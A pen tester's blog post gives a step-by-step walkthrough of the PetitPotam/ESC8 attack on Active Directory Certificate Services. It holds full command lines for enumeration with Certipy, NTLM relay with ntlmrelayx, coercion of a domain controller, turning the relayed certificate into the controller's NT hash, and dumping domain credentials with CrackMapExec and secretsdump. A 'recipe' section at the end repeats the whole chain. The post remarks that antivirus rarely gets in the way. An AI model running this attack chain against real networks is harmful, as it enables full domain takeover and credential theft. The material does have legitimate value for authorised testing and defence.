11 minutes
Having Fun With Active Directory Certificate Services
Why a blog about ADCS?
I’ve been pen testing a couple of years after starting with no pen testing experience. It started out with me learning the general techniques and then branching out to learn more complicated methods as well as newer attacks. One thing I’ve learned is to never believe the hype. There are a lot of exploits that I hear a lot of noise about but find there are super specific requirements or you have to have administrative access, which is usually what I’m trying to get in the first place.
One of the vulnerabilities I looked into when it came out was PetitPotam. I was very excited about it, but after a few weeks of feverishly checking for an Active Directory Certificate Services (ADCS) server, Microsoft issued a patch and I thought that was that.
Up until a few weeks ago, I was not in a position where I needed to look into it again, but I found myself on a test where there was an ADCS server and the other avenues were all resulting in a dead end.
I checked into the latest progress on PetitPotam and was excited to see that the Microsoft patch wasn’t sufficient and it was possible to exploit it again thanks to some changes to the exploit code.
So why am I writing a blog about it? Because it was so easy. It felt like magic. It reminds me of the feeling the first time I used pass-the-hash for a DCSync and how powerful it makes you feel. So I wanted to share this avenue.
Another huge bonus is that I don’t know of any instances where AV/EDR is going to get in your way here!
Requirements
As with any vulnerability, this one does have requirements, but they’re actually fairly common! In order to successfully accomplish this, you’re going to need:
- An Active Directory Certificate Services server that allows web enrollment (We’ll cover how to check for web enrollment)
- A domain user credential
- A domain controller that is not the same server as ADCS
- NTLM must be enabled on the ADCS server
Using my extraordinary ASCII art skills, I will provide an ornate picture of the path below:
Coerce connection from DC —> Relay to ADCS and get a DC certificate using PTH —> Use the certificate to request a Kerberos ticket —> Use the encryption key to decrypt the Kerberos ticket and extract the NT hash for the DC
Lab Setup Notes
If you’re going to set this up in your lab, you’re going to need to setup an ADCS server and have a separate domain controller. The ADCS server doesn’t have to be a domain controller, although I tend to do that just because it’s nice to have a second domain controller to use for testing I don’t want to do on the primary DC.
Microsoft has a great tutorial for this if you aren’t familiar with the process.
You’ll also need one Kali machine.
Let’s Have Some Fun!
This is where it gets fun. I’m going to show how to get the certificate and three ways to use it. Honestly, once you get the NT hash for the DC, you can do just about anything, minus machine specific restrictions such as not being able to connect via remote desktop.
Checking For Web Enrollment
Quick Check
There are a few ways to check if web enrollment is enabled. For me, I will usually do a quick check by just requesting the web page and seeing if it responds.
http://[DC IP/FQDN]/certsrv/certfnsh.asp
If it prompts for a password or gives a permission denied error, it’s vulnerable. Otherwise, it likely isn’t, but you can double check with Certipy by following the steps below.
Thorough Check
You can also check if ESC8 is listed for any of the certificate servers after running Certipy. The bonus here is that you’ll also need some of this information for exploiting the vulnerability anyways, so it’s a two birds one stone sort of thing. (Yes, I’m aware my mascot is a bird, but it’s a good metaphor!)
I have found that sometimes certipy is called with certipy-ad. If that’s your case, you can create an alias or just adjust the commands as you go
First you need to gather the info.
certipy find -u [USER]@[DOMAIN] -p '[PASSWORD]' -target [DOMAIN]
Then read through the file and look for any mention of ESC8, which indicates the host is vulnerable. The filename will contain a date, so as long as you just have one instance in your directory, you can just cat it with a wildcard. Also, if there are multiple certificate servers, you’re going to want to read the file to make sure you know which servers are vulnerable.
cat *_Certipy.txt | grep ESC8
If the host is vulnerable, search for the name of the DomainController certificate template. This may be the default (DomainController) or customized. The below command will search, but you may need to manually read through the file if there are no matches.
cat *_Certipy.txt | grep ': DomainController'
Let’s see that in action in the lab. The first command gathers the information, the second command confirms at least one of the certificate servers (the only one, in my instance) is vulnerable, and the third command confirms there is a domain controller template just called DomainController. We’re going to need that last one as we go on.
Luring The DC
At this point you should pick out a certificate server with web enrollment enabled as well as a domain controller that is not the certificate server you chose.
We’re going to use the PetitPotam exploit to trick the DC into connecting to us and we’re going to relay that to the certificate server to get a certificate that we can use to authenticate as if we’re the domain controller! The certificate is good for about a year, but obviously that won’t matter if the certificate is revoked if you’re caught, so keep that in mind.
You’re going to need at least two terminals for this. In the first one you’ll setup NTLMRelayX. This will be used to wait for a connection and then relay the coerced connection to the ADCS server.
impacket-ntlmrelayx -t http://[ADCS SERVER FQDN/IP]/certsrv/certfnsh.asp -smb2support --adcs --template [DOMAIN CONTROLLER TEMPLATE NAME]
In your second terminal, you’ll coerce the connection from the DC and relay that to the ADCS server using PetitPotam. The script will try two methods: the old way and the new way. If the DC is patched, the old method will fail, but don’t be discouraged because the second one should be just fine! I have noticed this can fail sometimes, and usually just re-running it a couple of times will work.
python3 PetitPotam.py -u [USERNAME] -p '[PASSWORD]' -d [DOMAIN] [IP WHERE NTLMRELAYX IS RUNNING] [DOMAIN CONTROLLER TO COERCE FROM]
(If that command looks daunting, just remember the first IP is the IP of your Kali box and the second is the domain controller you’re going to get a certificate for)
Once you’ve successfully relayed the hash, you should get a certificate after 15-30 seconds. That certificate will be in base64 format, so you’ll want to use that to create a PFX file, which you’ll be using for the other tools.
echo '[BASE64 OF TICKET]' | base64 -d > certificate.pfx
For my lab, I will be coercing a connection from the domain controller DC-RAZORBACK (10.0.0.21) and relaying that to my certificate server named DC-ROCI (10.0.0.20). That process can be seen below.
Starting NTLMRelayX:
Coercing a connection from a domain controller:
We get the following on our NTLMRelayX session:
Finally, we’ll create the PFX file for our certificate.
Using The Certificate
Great! Now we have a certificate that we can use to authenticate with as if we were the DC. But where can we use it? If you know of some services in use that allow authentication using certificates, you can try it there, but a tried and true method is Kerberos and I’ve had good luck on this on multiple tests now.
There are three ways I’ve used this:
- Use the certificate with Rubeus to get a Kerberos ticket and then use Mimikatz to perform a DCSync. I’m not going to cover this as there’s already a great blog post about it you can find on ired.team.
- Use PKINITTools to manually fetch the Kerberos ticket and then manually decrypt it to get the NT hash for the DC
- Use Certipy to automatically fetch a Kerberos ticket and decrypt it and give us the NT hash for the DC
I’ll show the PKINITtools approach first because I learned it first and I think it helps show what’s going on behind the scenes, then I’ll show Certipy because it’s so efficient and what I find myself using now.
PKINITtools
If you haven’t already installed PKINITtools, you can do that with the following command:
git clone https://github.com/dirkjanm/PKINITtools && pip3 install minikerberos
First you’ll need to fetch a Kerberos ticket using your shiny new certificate. Make sure you don’t lose the encryption key. You’re going to need it soon to extract the NT hash from the ticket.
python3 gettgtpkinit.py [DOMAIN]/[DC HOSTNAME]\$ -cert-pfx certificate.pfx domain-controller.ccache
Tell Kali you’d like to use that ccache file for future Kerberos connections.
export KRB5CCNAME=/[PATH]/domain-controller.ccache
Now you can obtain the NT hash from the ticket using the following command. The encryption key should come from the output when you ran gettgtpkinit.py.
python3 getnthash.py [DOMAIN]/[DC HOSTNAME]\$ -key [ENCRYPTION KEY]
Perfect! Now you have the DC’s NT hash! You can skip down to the “Using the Hash” section now unless you want to see how to do this with Certipy.
Here is the PKINITtools method in my lab. Make sure you use the backslash to escape the $ in the machine account name. That last line is the NT hash for the DC! How easy is that?
Certipy
You don’t need to do this if you followed the PKINITtools method, they both result in the same thing. This is now my preferred method though. To my understanding, it does all the same steps as PKINITtools, but it does them all in one command, which is handy. Plus you don’t have to install any other tools, which is another bonus!
Here’s how simple this method is! Just this one command.
certipy auth -pfx certificate.pfx -dc-ip [DC IP]
In the lab you can see just how simple this is.
Using the Hash
Now that you have the hash you can perform a number of attacks. I won’t go too in depth there, as that’s been covered elsewhere. One place you can check is HackTricks, which always has some good stuff. For me, I use it with secretsdump or CrackMapExec because it allows me to get access to domain administrative account hashes which I can attempt to crack or pass. (Keep in mind, this is a machine account hash, so you can’t do everything an administrative user can, but it’s still extremely powerful.)
Here’s how to do that with CrackMapExec.
crackmapexec smb [DC IP] -u [DOMAIN]/[DC HOSTNAME]\$ -H [NT HASH PRECEEDED BY :] --ntds
You can also use secretsdump from Impacket if you prefer.
impacket-secretsdump [DOMAIN]/[DC HOSTNAME]\$@[DC IP] -hashes [NT HASH PRECEEDED BY :]
In the lab, you can see how CrackMapExec looks. One thing to note is that CrackMapExec won’t show you the usual PWN3D! message you’d expect with an administrative user.
And here’s secretsdump doing effectively the same thing, although it grabs the SAM and LSASS (registry) contents as well.
Conclusion
So there you go! PetitPotam. Still an extremely viable method to get DA with very few requirements and it’s very hard to catch without something like DarkTrace. I definitely recommend keeping an eye out for that on any future tests you may have!
Bonus: Recipe Style
Looking for the recipe format of PetitPotam? Look no further! I’ve got you covered!
Ingredients:
- 1 Active Directory Certificate Services server with web enrollment and NTLM authentication enabled
- 1 Domain Controller (separate from the ADCS server)
- 1 Valid domain user credential
- 1 Kali host
Directions:
- Preheat your Kali host to 350 degrees F (175 degrees C)
- Verify your ADCS server is defrosted by running Certipy and checking for the existence of ESC8
certipy find -u [USER]@[DOMAIN] -p '[PASSWORD]' -target [DOMAIN] && cat *_Certipy.txt | grep ESC8
- Roll the file evenly and check to make sure the DC template name is as expected. If not, adjust the recipe to taste.
cat *_Certipy.txt | grep ': DomainController'
- Stir your relay attack with NTLMRelayX in a mixing bowl and set aside to rise
impacket-ntlmrelayx -t http://[ADCS SERVER FQDN/IP]/certsrv/certfnsh.asp -smb2support --adcs --template [DOMAIN CONTROLLER TEMPLATE NAME]
- In pan, bring a coerced connection to boil using PetitPotam against any DC that isn’t the ADCS server
python3 PetitPotam.py -u [USERNAME] -p '[PASSWORD]' -d [DOMAIN] [ATTACKER IP] [DOMAIN CONTROLLER IP]
- Return to your mixing bowl containing NTLMRelayX and scoop out the certificate, then spread that on a PFX file
echo '[BASE64 OF TICKET]' | base64 -d > certificate.pfx
- Blend with Certipy and strain to extract the DC’s NT hash
certipy auth -pfx certificate.pfx -dc-ip [DC IP]
- Sprinkle the hash over CrackMapExec for a DCSync or any other side dish of your preference
crackmapexec smb [DC IP] -u [DC HOSTNAME]\$ -H :[NT HASH] --ntds